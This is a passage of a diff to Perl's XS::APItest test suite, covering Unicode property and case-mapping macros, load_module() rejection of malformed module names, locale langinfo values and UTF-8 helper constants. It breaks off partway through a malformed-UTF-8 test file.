+ # And finally one non-Unicode code point.
+ push @code_points, 0x110000; # Above Unicode, no prop should match
+ no warnings 'non_unicode';
+
+ for my $n (@code_points) {
+ my $u = utf8::native_to_unicode($n);
+ my $function = uc($name);
+
+ is (@warnings, 0, "Got no unexpected warnings in previous iteration")
+ or diag("@warnings");
+ undef @warnings;
+
+ my $matches = search_invlist(\@invlist, $n);
+ if (! defined $matches) {
+ $matches = 0;
+ }
+ else {
+ $matches = truth(! ($matches % 2));
+ }
+
+ my $ret;
+ my $char_name = get_charname($n);
+ my $display_name = sprintf "\\x{%02X, %s}", $n, $char_name;
+ my $display_call = "is${function}( $display_name )";
+
+ foreach my $suffix ("", "_A", "_L1", "_LC", "_uni", "_uvchr",
+ "_LC_uvchr", "_utf8", "_LC_utf8")
+ {
+
+ # Not all possible macros have been defined
+ if ($name eq 'vertws') {
+
+ # vertws is always all of Unicode
+ next if $suffix !~ / ^ _ ( uni | uvchr | utf8 ) $ /x;
+ }
+ elsif ($name eq 'alnum') {
+
+ # ALNUM_A, ALNUM_L1, and ALNUM_uvchr are not defined as these
+ # suffixes were added later, after WORDCHAR was created to be
+ # a clearer synonym for ALNUM
+ next if $suffix eq '_A'
+ || $suffix eq '_L1'
+ || $suffix eq '_uvchr';
+ }
+ elsif ($name eq 'octal') {
+ next if $suffix ne "" && $suffix ne '_A' && $suffix ne '_L1';
+ }
+ elsif ($name eq 'quotemeta') {
+ # There is only one macro for this, and is defined only for
+ # Latin1 range
+ next if $suffix ne ""
+ }
+
+ foreach my $locale ("", $base_locale, $utf8_locale) {
+
+ my ($display_locale, $locale_is_utf8)
+ = get_display_locale_or_skip($locale, $suffix);
+ next unless defined $display_locale;
+
+ use if $locale, "locale";
+ POSIX::setlocale( &POSIX::LC_ALL, $locale) if $locale;
+
+ if ($suffix !~ /utf8/) { # _utf8 has to handled specially
+ my $display_call
+ = "is${function}$suffix( $display_name )$display_locale";
+ $ret = truth eval "test_is${function}$suffix($n)";
+ if (is ($@, "", "$display_call didn't give error")) {
+ my $truth = $matches;
+ if ($truth) {
+
+ # The single byte functions are false for
+ # above-Latin1
+ if ($n >= 256) {
+ $truth = 0
+ if $suffix=~ / ^ ( _A | _L [1C] )? $ /x;
+ }
+ elsif ( $u >= 128
+ && $name ne 'quotemeta')
+ {
+
+ # The no-suffix and _A functions are false
+ # for non-ASCII. So are _LC functions on a
+ # non-UTF-8 locale
+ $truth = 0 if $suffix eq "_A"
+ || $suffix eq ""
+ || ( $suffix =~ /LC/
+ && ! $locale_is_utf8);
+ }
+ }
+
+ is ($ret, $truth, "${tab}And correctly returns $truth");
+ }
+ }
+ else { # _utf8 suffix
+ my $char = chr($n);
+ utf8::upgrade($char);
+ $char = quotemeta $char if $char eq '\\' || $char eq "'";
+ my $truth;
+ if ( $suffix =~ /LC/
+ && ! $locale_is_utf8
+ && $n < 256
+ && $u >= 128)
+ { # The C-locale _LC function returns FALSE for Latin1
+ # above ASCII
+ $truth = 0;
+ }
+ else {
+ $truth = $matches;
+ }
+
+ foreach my $utf8_param("_safe",
+ "_safe, malformed",
+ "deprecated unsafe"
+ )
+ {
+ my $utf8_param_code = $utf8_param_code{$utf8_param};
+ my $expect_error = $utf8_param_code > 0;
+ next if $expect_error
+ && ! try_malforming($u, $function,
+ $suffix =~ /LC/);
+
+ my $display_call = "is${function}$suffix( $display_name"
+ . ", $utf8_param )$display_locale";
+ $ret = truth eval "test_is${function}$suffix('$char',"
+ . " $utf8_param_code)";
+ if ($expect_error) {
+ isnt ($@, "",
+ "expected and got error in $display_call");
+ like($@, qr/Malformed UTF-8 character/,
+ "${tab}And got expected message");
+ if (is (@warnings, 1,
+ "${tab}Got a single warning besides"))
+ {
+ like($warnings[0],
+ qr/Malformed UTF-8 character.*short/,
+ "${tab}Got expected warning");
+ }
+ else {
+ diag("@warnings");
+ }
+ undef @warnings;
+ }
+ elsif (is ($@, "", "$display_call didn't give error")) {
+ is ($ret, $truth,
+ "${tab}And correctly returned $truth");
+ if ($utf8_param_code < 0) {
+ my $warnings_ok;
+ my $unique_function = "is" . $function . $suffix;
+ if (! $seen{$unique_function}++) {
+ $warnings_ok = is(@warnings, 1,
+ "${tab}This is first call to"
+ . " $unique_function; Got a single"
+ . " warning");
+ if ($warnings_ok) {
+ $warnings_ok = like($warnings[0],
+ qr/starting in Perl .* will require an additional parameter/,
+ "${tab}The warning was the expected"
+ . " deprecation one");
+ }
+ }
+ else {
+ $warnings_ok = is(@warnings, 0,
+ "${tab}This subsequent call to"
+ . " $unique_function did not warn");
+ }
+ $warnings_ok or diag("@warnings");
+ undef @warnings;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+my %to_properties = (
+ FOLD => 'Case_Folding',
+ LOWER => 'Lowercase_Mapping',
+ TITLE => 'Titlecase_Mapping',
+ UPPER => 'Uppercase_Mapping',
+ );
+
+$property_count = -1;
+foreach my $name (sort keys %to_properties) {
+
+ $property_count++;
+ next if $property_count % $num_test_files != $::TEST_CHUNK;
+
+ my $property = $to_properties{$name};
+ my ($list_ref, $map_ref, $format, $missing)
+ = prop_invmap($property, );
+ if (! $list_ref || ! $map_ref) {
+ fail("No inversion map found for $property");
+ next;
+ }
+ if ($format !~ / ^ a l? $ /x) {
+ fail("Unexpected inversion map format ('$format') found for $property");
+ next;
+ }
+
+ # Include all the Latin1 code points, plus 0x100.
+ my @code_points = (0 .. 256);
+
+ # Then include the next few multi-char folds above those from this
+ # property, and include the next few single folds as well
+ my $above_latins = 0;
+ my $multi_char = 0;
+ for my $i (0 .. @{$list_ref} - 1) {
+ my $range_start = $list_ref->[$i];
+ next if $range_start < 257;
+ if (ref $map_ref->[$i] && $multi_char < 5) {
+ push @code_points, $range_start - 1
+ if $code_points[-1] != $range_start - 1;
+ push @code_points, $range_start;
+ $multi_char++;
+ }
+ elsif ($above_latins < 5) {
+ push @code_points, $range_start - 1
+ if $code_points[-1] != $range_start - 1;
+ push @code_points, $range_start;
+ $above_latins++;
+ }
+ last if $above_latins >= 5 && $multi_char >= 5;
+ }
+
+ # And finally one non-Unicode code point.
+ push @code_points, 0x110000; # Above Unicode, no prop should match
+ no warnings 'non_unicode';
+
+ # $n is native; $u unicode.
+ for my $n (@code_points) {
+ my $u = utf8::native_to_unicode($n);
+ my $function = $name;
+
+ my $index = search_invlist(\@{$list_ref}, $n);
+
+ my $ret;
+ my $char_name = get_charname($n);
+ my $display_name = sprintf "\\N{U+%02X, %s}", $n, $char_name;
+
+ foreach my $suffix ("", "_L1", "_LC") {
+
+ # This is the only macro defined for L1
+ next if $suffix eq "_L1" && $function ne "LOWER";
+
+ SKIP:
+ foreach my $locale ("", $base_locale, $utf8_locale) {
+
+ # titlecase is not defined in locales.
+ next if $name eq 'TITLE' && $suffix eq "_LC";
+
+ my ($display_locale, $locale_is_utf8)
+ = get_display_locale_or_skip($locale, $suffix);
+ next unless defined $display_locale;
+
+ skip("to${name}_LC does not work for LATIN SMALL LETTER SHARP S"
+ . "$display_locale", 1)
+ if $u == 0xDF && $name =~ / FOLD | UPPER /x
+ && $suffix eq "_LC" && $locale_is_utf8;
+
+ use if $locale, "locale";
+ POSIX::setlocale( &POSIX::LC_ALL, $locale) if $locale;
+
+ my $display_call = "to${function}$suffix("
+ . " $display_name )$display_locale";
+ $ret = eval "test_to${function}$suffix($n)";
+ if (is ($@, "", "$display_call didn't give error")) {
+ my $should_be;
+ if ($n > 255) {
+ $should_be = $n;
+ }
+ elsif ( $u > 127
+ && ( $suffix eq ""
+ || ($suffix eq "_LC" && ! $locale_is_utf8)))
+ {
+ $should_be = $n;
+ }
+ elsif ($map_ref->[$index] != $missing) {
+ $should_be = $map_ref->[$index] + $n - $list_ref->[$index]
+ }
+ else {
+ $should_be = $n;
+ }
+
+ is ($ret, $should_be,
+ sprintf("${tab}And correctly returned 0x%02X",
+ $should_be));
+ }
+ }
+ }
+
+ # The _uni, uvchr, and _utf8 functions return both the ordinal of the
+ # first code point of the result, and the result in utf8. The .xs
+ # tests return these in an array, in [0] and [1] respectively, with
+ # [2] the length of the utf8 in bytes.
+ my $utf8_should_be = "";
+ my $first_ord_should_be;
+ if (ref $map_ref->[$index]) { # A multi-char result
+ for my $n (0 .. @{$map_ref->[$index]} - 1) {
+ $utf8_should_be .= chr $map_ref->[$index][$n];
+ }
+
+ $first_ord_should_be = $map_ref->[$index][0];
+ }
+ else { # A single-char result
+ $first_ord_should_be = ($map_ref->[$index] != $missing)
+ ? $map_ref->[$index] + $n
+ - $list_ref->[$index]
+ : $n;
+ $utf8_should_be = chr $first_ord_should_be;
+ }
+ utf8::upgrade($utf8_should_be);
+
+ # Test _uni, uvchr
+ foreach my $suffix ('_uni', '_uvchr') {
+ my $s;
+ my $len;
+ my $display_call = "to${function}$suffix( $display_name )";
+ $ret = eval "test_to${function}$suffix($n)";
+ if (is ($@, "", "$display_call didn't give error")) {
+ is ($ret->[0], $first_ord_should_be,
+ sprintf("${tab}And correctly returned 0x%02X",
+ $first_ord_should_be));
+ is ($ret->[1], $utf8_should_be, "${tab}Got correct utf8");
+ use bytes;
+ is ($ret->[2], length $utf8_should_be,
+ "${tab}Got correct number of bytes for utf8 length");
+ }
+ }
+
+ # Test _utf8
+ my $char = chr($n);
+ utf8::upgrade($char);
+ $char = quotemeta $char if $char eq '\\' || $char eq "'";
+ foreach my $utf8_param("_safe",
+ "_safe, malformed",
+ "deprecated unsafe",
+ "deprecated mathoms",
+ )
+ {
+ use Config;
+ next if $utf8_param eq 'deprecated mathoms'
+ && $Config{'ccflags'} =~ /-DNO_MATHOMS/;
+
+ my $utf8_param_code = $utf8_param_code{$utf8_param};
+ my $expect_error = $utf8_param_code > 0;
+
+ # Skip if can't malform (because is a UTF-8 invariant)
+ next if $expect_error && $u < ((ord "A" == 65) ? 128 : 160);
+
+ my $display_call = "to${function}_utf8($display_name, $utf8_param )";
+ $ret = eval "test_to${function}_utf8('$char', $utf8_param_code)";
+ if ($expect_error) {
+ isnt ($@, "", "expected and got error in $display_call");
+ like($@, qr/Malformed UTF-8 character/,
+ "${tab}And got expected message");
+ undef @warnings;
+ }
+ elsif (is ($@, "", "$display_call didn't give error")) {
+ is ($ret->[0], $first_ord_should_be,
+ sprintf("${tab}And correctly returned 0x%02X",
+ $first_ord_should_be));
+ is ($ret->[1], $utf8_should_be, "${tab}Got correct utf8");
+ use bytes;
+ is ($ret->[2], length $utf8_should_be,
+ "${tab}Got correct number of bytes for utf8 length");
+ if ($utf8_param_code < 0) {
+ my $warnings_ok;
+ if (! $seen{"${function}_utf8$utf8_param"}++) {
+ $warnings_ok = is(@warnings, 1,
+ "${tab}Got a single warning");
+ if ($warnings_ok) {
+ my $expected;
+ if ($utf8_param_code == -2) {
+ my $lc_func = lc $function;
+ $expected
+ = qr/starting in Perl .* to_utf8_$lc_func\(\) will be removed/;
+ }
+ else {
+ $expected
+ = qr/starting in Perl .* will require an additional parameter/;
+ }
+ $warnings_ok = like($warnings[0], $expected,
+ "${tab}Got expected deprecation warning");
+ }
+ }
+ else {
+ $warnings_ok = is(@warnings, 0,
+ "${tab}Deprecation warned only the one time");
+ }
+ $warnings_ok or diag("@warnings");
+ undef @warnings;
+ }
+ }
+ }
+ }
+}
+
+# This is primarily to make sure that no non-Unicode warnings get generated
+is(scalar @warnings, 0, "No unexpected warnings were generated in the tests")
+ or diag @warnings;
+
+done_testing;
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/keyword_plugin_threads.t b/gnu/usr.bin/perl/ext/XS-APItest/t/keyword_plugin_threads.t
new file mode 100644
index 00000000000..db23ce7d58c
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/keyword_plugin_threads.t
@@ -0,0 +1,32 @@
+#!perl
+use strict;
+use warnings;
+
+require '../../t/test.pl';
+
+use Config;
+if (!$Config{useithreads}) {
+ skip_all("keyword_plugin thread test requires threads");
+}
+
+plan(1);
+
+fresh_perl_is( <<'----', <<'====', {}, "loading XS::APItest in threads works");
+use strict;
+use warnings;
+
+use threads;
+
+require '../../t/test.pl';
+watchdog(5);
+
+for my $t (1 .. 3) {
+ threads->create(sub {
+ require XS::APItest;
+ })->join;
+}
+
+print "all is well\n";
+----
+all is well
+====
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/labelconst.t b/gnu/usr.bin/perl/ext/XS-APItest/t/labelconst.t
index f3a7d9c9cd0..aed3afbd1af 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/labelconst.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/labelconst.t
@@ -89,7 +89,7 @@ isnt $@, "";
is $t, "";
$t = "";
-$t = do("t/labelconst.aux");
+$t = do("./t/labelconst.aux");
is $@, "";
is $t, "FOOBARBAZQUUX";
@@ -163,7 +163,7 @@ is $t, "FOOBARBAZQUUX";
{
use utf8;
$t = "";
- $t = do("t/labelconst_utf8.aux");
+ $t = do("./t/labelconst_utf8.aux");
is $@, "";
is $t, "FǑǑBÀRᛒÀZQÙÙX";
}
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/lexsub.t b/gnu/usr.bin/perl/ext/XS-APItest/t/lexsub.t
index 2d66addf7a2..25985f60b4b 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/lexsub.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/lexsub.t
@@ -1,4 +1,4 @@
-use Test::More tests => 4;
+use Test::More tests => 5;
use XS::APItest;
@@ -17,3 +17,14 @@ is fribbler(15), 30, 'XS-allocated lexical subs falling out of scope';
our sub fribbler;
is fribbler(15), 30, 'our sub overrides XS-registered lexical sub';
}
+
+# With ‘use’ rather than explicit BEGIN:
+package Lexical::Exporter {
+ sub import { shift; ::lexical_import @_; return }
+}
+BEGIN { ++$INC{"Lexical/Exporter.pm"} }
+
+{
+ use Lexical::Exporter fribbler => sub { shift() . "foo" };
+ is fribbler("bar"), "barfoo";
+}
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/load-module.t b/gnu/usr.bin/perl/ext/XS-APItest/t/load-module.t
new file mode 100644
index 00000000000..78189f80e73
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/load-module.t
@@ -0,0 +1,66 @@
+#!perl -w
+use strict;
+
+# Test the load_module() core API function.
+#
+# Note that this function can be passed arbitrary and illegal module
+# names which would already have been caught if a require statement had
+# been compiled. So check that load_module() can catch such bad things.
+
+use Test::More;
+use XS::APItest;
+
+# This isn't complete yet. In particular, we don't test import lists, or
+# the other flags. But it's better than nothing.
+
+is($INC{'less.pm'}, undef, "less isn't loaded");
+load_module(PERL_LOADMOD_NOIMPORT, 'less');
+like($INC{'less.pm'}, qr!(?:\A|/)lib/less\.pm\z!, "less is now loaded");
+
+delete $INC{'less.pm'};
+delete $::{'less::'};
+
+is(eval { load_module(PERL_LOADMOD_NOIMPORT, 'less', 1); 1}, undef,
+ "expect load_module() to fail");
+like($@, qr/less version 1 required--this is only version 0\./,
+ 'with the correct error message');
+
+is(eval { load_module(PERL_LOADMOD_NOIMPORT, 'less', 0.03); 1}, 1,
+ "expect load_module() not to fail");
+
+#
+# Check for illegal module names
+
+for (["", qr!\ABareword in require maps to empty filename!],
+ ["::", qr!\ABareword in require must not start with a double-colon: "::"!],
+ ["::::", qr!\ABareword in require must not start with a double-colon: "::::"!],
+ ["::/", qr!\ABareword in require must not start with a double-colon: "::/!],
+ ["/", qr!\ABareword in require maps to disallowed filename "/\.pm"!],
+ ["::/WOOSH", qr!\ABareword in require must not start with a double-colon: "::/WOOSH!],
+ [".WOOSH", qr!\ABareword in require maps to disallowed filename "\.WOOSH\.pm"!],
+ ["::.WOOSH", qr!\ABareword in require must not start with a double-colon: "::.WOOSH!],
+ ["WOOSH::.sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH::.sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH/.sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH/..sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH/../sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH::..::sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH::.::sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH::./sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH/./sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH/.::sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH/..::sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH::../sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH::../..::sock", qr!\ABareword in require contains "/\."!],
+ ["WOOSH\0sock", qr!\ACan't locate WOOSH\\0sock.pm:!],
+ )
+{
+ my ($module, $error) = @$_;
+ my $module2 = $module; # load_module mangles its first argument
+ no warnings 'syscalls';
+ is(eval { load_module(PERL_LOADMOD_NOIMPORT, $module); 1}, undef,
+ "expect load_module() for '$module2' to fail");
+ like($@, $error, "check expected error for $module2");
+}
+
+done_testing();
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/locale.t b/gnu/usr.bin/perl/ext/XS-APItest/t/locale.t
index be594b08041..9d338323c2c 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/locale.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/locale.t
@@ -22,9 +22,6 @@ for (@locales) {
}
}
-skip_all("no non-dot radix locales available") unless $non_dot_locale;
-
-plan tests => 2;
SKIP: {
if ($Config{usequadmath}) {
@@ -34,3 +31,118 @@ SKIP: {
use locale;
is(test_Gconvert(4.179, 2), "4.2", "Gconvert doesn't recognize underlying locale inside 'use locale'");
}
+
+my %correct_C_responses = (
+ # Entries that are undef could have varying returns
+ ABDAY_1 => 'Sun',
+ ABDAY_2 => 'Mon',
+ ABDAY_3 => 'Tue',
+ ABDAY_4 => 'Wed',
+ ABDAY_5 => 'Thu',
+ ABDAY_6 => 'Fri',
+ ABDAY_7 => 'Sat',
+ ABMON_1 => 'Jan',
+ ABMON_2 => 'Feb',
+ ABMON_3 => 'Mar',
+ ABMON_4 => 'Apr',
+ ABMON_5 => 'May',
+ ABMON_6 => 'Jun',
+ ABMON_7 => 'Jul',
+ ABMON_8 => 'Aug',
+ ABMON_9 => 'Sep',
+ ABMON_10 => 'Oct',
+ ABMON_11 => 'Nov',
+ ABMON_12 => 'Dec',
+ ALT_DIGITS => undef,
+ AM_STR => 'AM',
+ CODESET => undef,
+ CRNCYSTR => undef,
+ DAY_1 => 'Sunday',
+ DAY_2 => 'Monday',
+ DAY_3 => 'Tuesday',
+ DAY_4 => 'Wednesday',
+ DAY_5 => 'Thursday',
+ DAY_6 => 'Friday',
+ DAY_7 => 'Saturday',
+ D_FMT => undef,
+ D_T_FMT => undef,
+ ERA => '',
+ ERA_D_FMT => undef,
+ ERA_D_T_FMT => undef,
+ ERA_T_FMT => undef,
+ MON_1 => 'January',
+ MON_2 => 'February',
+ MON_3 => 'March',
+ MON_4 => 'April',
+ MON_5 => 'May',
+ MON_6 => 'June',
+ MON_7 => 'July',
+ MON_8 => 'August',
+ MON_9 => 'September',
+ MON_10 => 'October',
+ MON_11 => 'November',
+ MON_12 => 'December',
+ NOEXPR => undef,
+ NOSTR => undef,
+ PM_STR => 'PM',
+ RADIXCHAR => '.',
+ THOUSEP => '',
+ T_FMT => undef,
+ T_FMT_AMPM => undef,
+ YESEXPR => undef,
+ YESSTR => undef,
+ );
+
+my $hdr = "../../perl_langinfo.h";
+open my $fh, "<", $hdr;
+$|=1;
+
+SKIP: {
+ skip "No LC_ALL", 1 unless find_locales( &LC_ALL );
+
+ use POSIX;
+ setlocale(LC_ALL, "C");
+ eval "use I18N::Langinfo qw(langinfo RADIXCHAR); langinfo(RADIXCHAR)";
+ my $has_nl_langinfo = $@ eq "";
+
+ skip "Can't open $hdr for reading: $!", 1 unless $fh;
+
+ my %items;
+
+ # Find all the current items from the header, and their values.
+ # For non-nl_langinfo systems, those values are arbitrary negative numbers
+ # set in the header. Otherwise they are the nl_langinfo approved values,
+ # which for the moment is the item name.
+ # The relevant lines look like: # define YESSTR -54
+ while (<$fh>) {
+ chomp;
+ next unless / - \d+ $ /x;
+ s/ ^ \# \s* define \s*//x;
+ m/ (.*) \ (.*) /x;
+ $items{$1} = ($has_nl_langinfo)
+ ? $1 # Yields 'YESSTR'
+ : $2; # Yields -54
+ }
+
+ # Get the translation from item name to numeric value.
+ I18N::Langinfo->import(keys %items) if $has_nl_langinfo;
+
+ foreach my $formal_item (sort keys %items) {
+ if (exists $correct_C_responses{$formal_item}) {
+ my $correct = $correct_C_responses{$formal_item};
+ my $item = eval $items{$formal_item};
+ skip "This platform apparently doesn't support $formal_item", 1 if $@;
+ my $result = test_Perl_langinfo($item);
+ if (defined $correct) {
+ is ($result, $correct,
+ "Returns expected value" . "('$correct') for $formal_item");
+ }
+ else {
+ ok (defined $result,
+ "Returns a value (in this case '$result') for $formal_item");
+ }
+ }
+ }
+}
+
+done_testing();
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/loopblock.t b/gnu/usr.bin/perl/ext/XS-APItest/t/loopblock.t
index 3b688bc811a..7f654a5424c 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/loopblock.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/loopblock.t
@@ -70,7 +70,7 @@ eval q{
my $x = "a";
$t .= $x;
do {
- no warnings "misc";
+ no warnings "shadow";
$t .= $x;
my $x = "b";
$t .= $x;
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/looprest.t b/gnu/usr.bin/perl/ext/XS-APItest/t/looprest.t
index e37ef87941a..aa3116daa84 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/looprest.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/looprest.t
@@ -66,7 +66,7 @@ eval q{
my $x = "a";
$t .= $x;
do {
- no warnings "misc";
+ no warnings "shadow";
$t .= $x;
my $x = "b";
$t .= $x;
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/sviscow.t b/gnu/usr.bin/perl/ext/XS-APItest/t/sviscow.t
index bcc9da8ebdc..d0f3062f5d8 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/sviscow.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/sviscow.t
@@ -1,10 +1,10 @@
use strict;
-use warnings; no warnings 'once';
use Test::More tests => 1;
use XS::APItest;
use Hash::Util 'lock_value';
+use warnings; no warnings 'once', 'Hash::Util';
my %h;
$h{g} = *foo;
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf16_to_utf8.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf16_to_utf8.t
index 1829dd5fcda..3bb78d49524 100755
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/utf16_to_utf8.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf16_to_utf8.t
@@ -14,7 +14,8 @@ for my $ord (0, 10, 13, 78, 255, 256, 0xD7FF, 0xE000, 0xFFFD,
my $string = $prefix . $chr . $suffix;
my $name = sprintf "for chr $ord prefix %d, suffix %d",
length $prefix, length $suffix;
- my $as_utf8 = encode('UTF-8', $string);
+ my $as_utf8 = $string;
+ utf8::encode($as_utf8);
is(utf16_to_utf8(encode('UTF-16BE', $string)), $as_utf8,
"utf16_to_utf8 $name");
is(utf16_to_utf8_reversed(encode('UTF-16LE', $string)), $as_utf8,
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_setup.pl b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_setup.pl
new file mode 100644
index 00000000000..231b4d9494c
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_setup.pl
@@ -0,0 +1,112 @@
+# Common subroutines and constants, called by .t files in this directory that
+# deal with UTF-8
+
+# The test files can't use byte_utf8a_to_utf8n() from t/charset_tools.pl
+# because that uses the same functions we are testing here. So UTF-EBCDIC
+# strings are hard-coded as I8 strings in this file instead, and we use the
+# translation functions to/from I8 from that file instead.
+
+sub isASCII { ord "A" == 65 }
+
+sub display_bytes_no_quotes {
+ use bytes;
+ my $string = shift;
+ return join("", map {
+ ($_ =~ /[[:print:]]/)
+ ? $_
+ : sprintf("\\x%02x", ord $_)
+ } split "", $string)
+}
+
+sub display_bytes {
+ return '"' . display_bytes_no_quotes(shift) . '"';
+}
+
+sub output_warnings(@) {
+ my @list = @_;
+ if (@list) {
+ diag "The warnings were:\n" . join "\n", map { chomp; $_ } @list;
+ }
+ else {
+ diag "No warnings were raised";
+ }
+}
+
+sub start_byte_to_cont($) {
+
+ # Extract the code point information from the input UTF-8 start byte, and
+ # return a continuation byte containing the same information. This is
+ # used in constructing an overlong malformation from valid input.
+
+ my $byte = shift;
+ my $len = test_UTF8_SKIP($byte);
+ if ($len < 2) {
+ die "start_byte_to_cont() is expecting a UTF-8 variant";
+ }
+
+ $byte = ord native_to_I8($byte);
+
+ # Copied from utf8.h. This gets rid of the leading 1 bits.
+ $byte &= ((($len) >= 7) ? 0x00 : (0x1F >> (($len)-2)));
+
+ $byte |= (isASCII) ? 0x80 : 0xA0;
+ return I8_to_native(chr $byte);
+}
+
+$::is64bit = length sprintf("%x", ~0) > 8;
+
+$::lowest_continuation = (isASCII) ? 0x80 : 0xA0;
+
+$::I8c = (isASCII) ? "\x80" : "\xa0"; # A continuation byte
+
+
+$::max_bytes = (isASCII) ? 13 : 14; # Max number of bytes in a UTF-8 sequence
+ # representing a single code point
+
+# Copied from utf8.h
+$::UTF8_ALLOW_EMPTY = 0x0001;
+$::UTF8_GOT_EMPTY = $UTF8_ALLOW_EMPTY;
+$::UTF8_ALLOW_CONTINUATION = 0x0002;
+$::UTF8_GOT_CONTINUATION = $UTF8_ALLOW_CONTINUATION;
+$::UTF8_ALLOW_NON_CONTINUATION = 0x0004;
+$::UTF8_GOT_NON_CONTINUATION = $UTF8_ALLOW_NON_CONTINUATION;
+$::UTF8_ALLOW_SHORT = 0x0008;
+$::UTF8_GOT_SHORT = $UTF8_ALLOW_SHORT;
+$::UTF8_ALLOW_LONG = 0x0010;
+$::UTF8_ALLOW_LONG_AND_ITS_VALUE = $UTF8_ALLOW_LONG|0x0020;
+$::UTF8_GOT_LONG = $UTF8_ALLOW_LONG;
+$::UTF8_ALLOW_OVERFLOW = 0x0080;
+$::UTF8_GOT_OVERFLOW = $UTF8_ALLOW_OVERFLOW;
+$::UTF8_DISALLOW_SURROGATE = 0x0100;
+$::UTF8_GOT_SURROGATE = $UTF8_DISALLOW_SURROGATE;
+$::UTF8_WARN_SURROGATE = 0x0200;
+$::UTF8_DISALLOW_NONCHAR = 0x0400;
+$::UTF8_GOT_NONCHAR = $UTF8_DISALLOW_NONCHAR;
+$::UTF8_WARN_NONCHAR = 0x0800;
+$::UTF8_DISALLOW_SUPER = 0x1000;
+$::UTF8_GOT_SUPER = $UTF8_DISALLOW_SUPER;
+$::UTF8_WARN_SUPER = 0x2000;
+$::UTF8_DISALLOW_PERL_EXTENDED = 0x4000;
+$::UTF8_GOT_PERL_EXTENDED = $UTF8_DISALLOW_PERL_EXTENDED;
+$::UTF8_WARN_PERL_EXTENDED = 0x8000;
+$::UTF8_CHECK_ONLY = 0x10000;
+$::UTF8_NO_CONFIDENCE_IN_CURLEN_ = 0x20000;
+
+$::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE
+ = $UTF8_DISALLOW_SUPER|$UTF8_DISALLOW_SURROGATE;
+$::UTF8_DISALLOW_ILLEGAL_INTERCHANGE
+ = $UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE|$UTF8_DISALLOW_NONCHAR;
+$::UTF8_WARN_ILLEGAL_C9_INTERCHANGE
+ = $UTF8_WARN_SUPER|$UTF8_WARN_SURROGATE;
+$::UTF8_WARN_ILLEGAL_INTERCHANGE
+ = $UTF8_WARN_ILLEGAL_C9_INTERCHANGE|$UTF8_WARN_NONCHAR;
+
+# Test uvchr_to_utf8().
+$::UNICODE_WARN_SURROGATE = 0x0001;
+$::UNICODE_WARN_NONCHAR = 0x0002;
+$::UNICODE_WARN_SUPER = 0x0004;
+$::UNICODE_WARN_PERL_EXTENDED = 0x0008;
+$::UNICODE_DISALLOW_SURROGATE = 0x0010;
+$::UNICODE_DISALLOW_NONCHAR = 0x0020;
+$::UNICODE_DISALLOW_SUPER = 0x0040;
+$::UNICODE_DISALLOW_PERL_EXTENDED = 0x0080;
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_to_bytes.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_to_bytes.t
new file mode 100644
index 00000000000..4c03f842f53
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_to_bytes.t
@@ -0,0 +1,68 @@
+#!perl -w
+
+# This is a base file to be used by various .t's in its directory
+# It tests various malformed UTF-8 sequences and some code points that are
+# "problematic", and verifies that the correct warnings/flags etc are
+# generated when using them. For the code points, it also takes the UTF-8 and
+# perturbs it to be malformed in various ways, and tests that this gets
+# appropriately detected.
+
+use strict;
+use Test::More;
+
+BEGIN {
+ require './t/utf8_setup.pl';
+ use_ok('XS::APItest');
+};
+
+$|=1;
+
+use Data::Dumper;
+
+my @well_formed = (
+ "\xE1",
+ "The quick brown fox jumped over the lazy dog",
+ "Ces systèmes de codage sont souvent incompatibles entre eux. Ainsi, deux systèmes peuvent utiliser le même nombre pour deux caractères différents ou utiliser différents nombres pour le même caractère.",
+ "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC3\xB1abc",
+);
+
+my @malformed = (
+ "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC4\xB1abc",
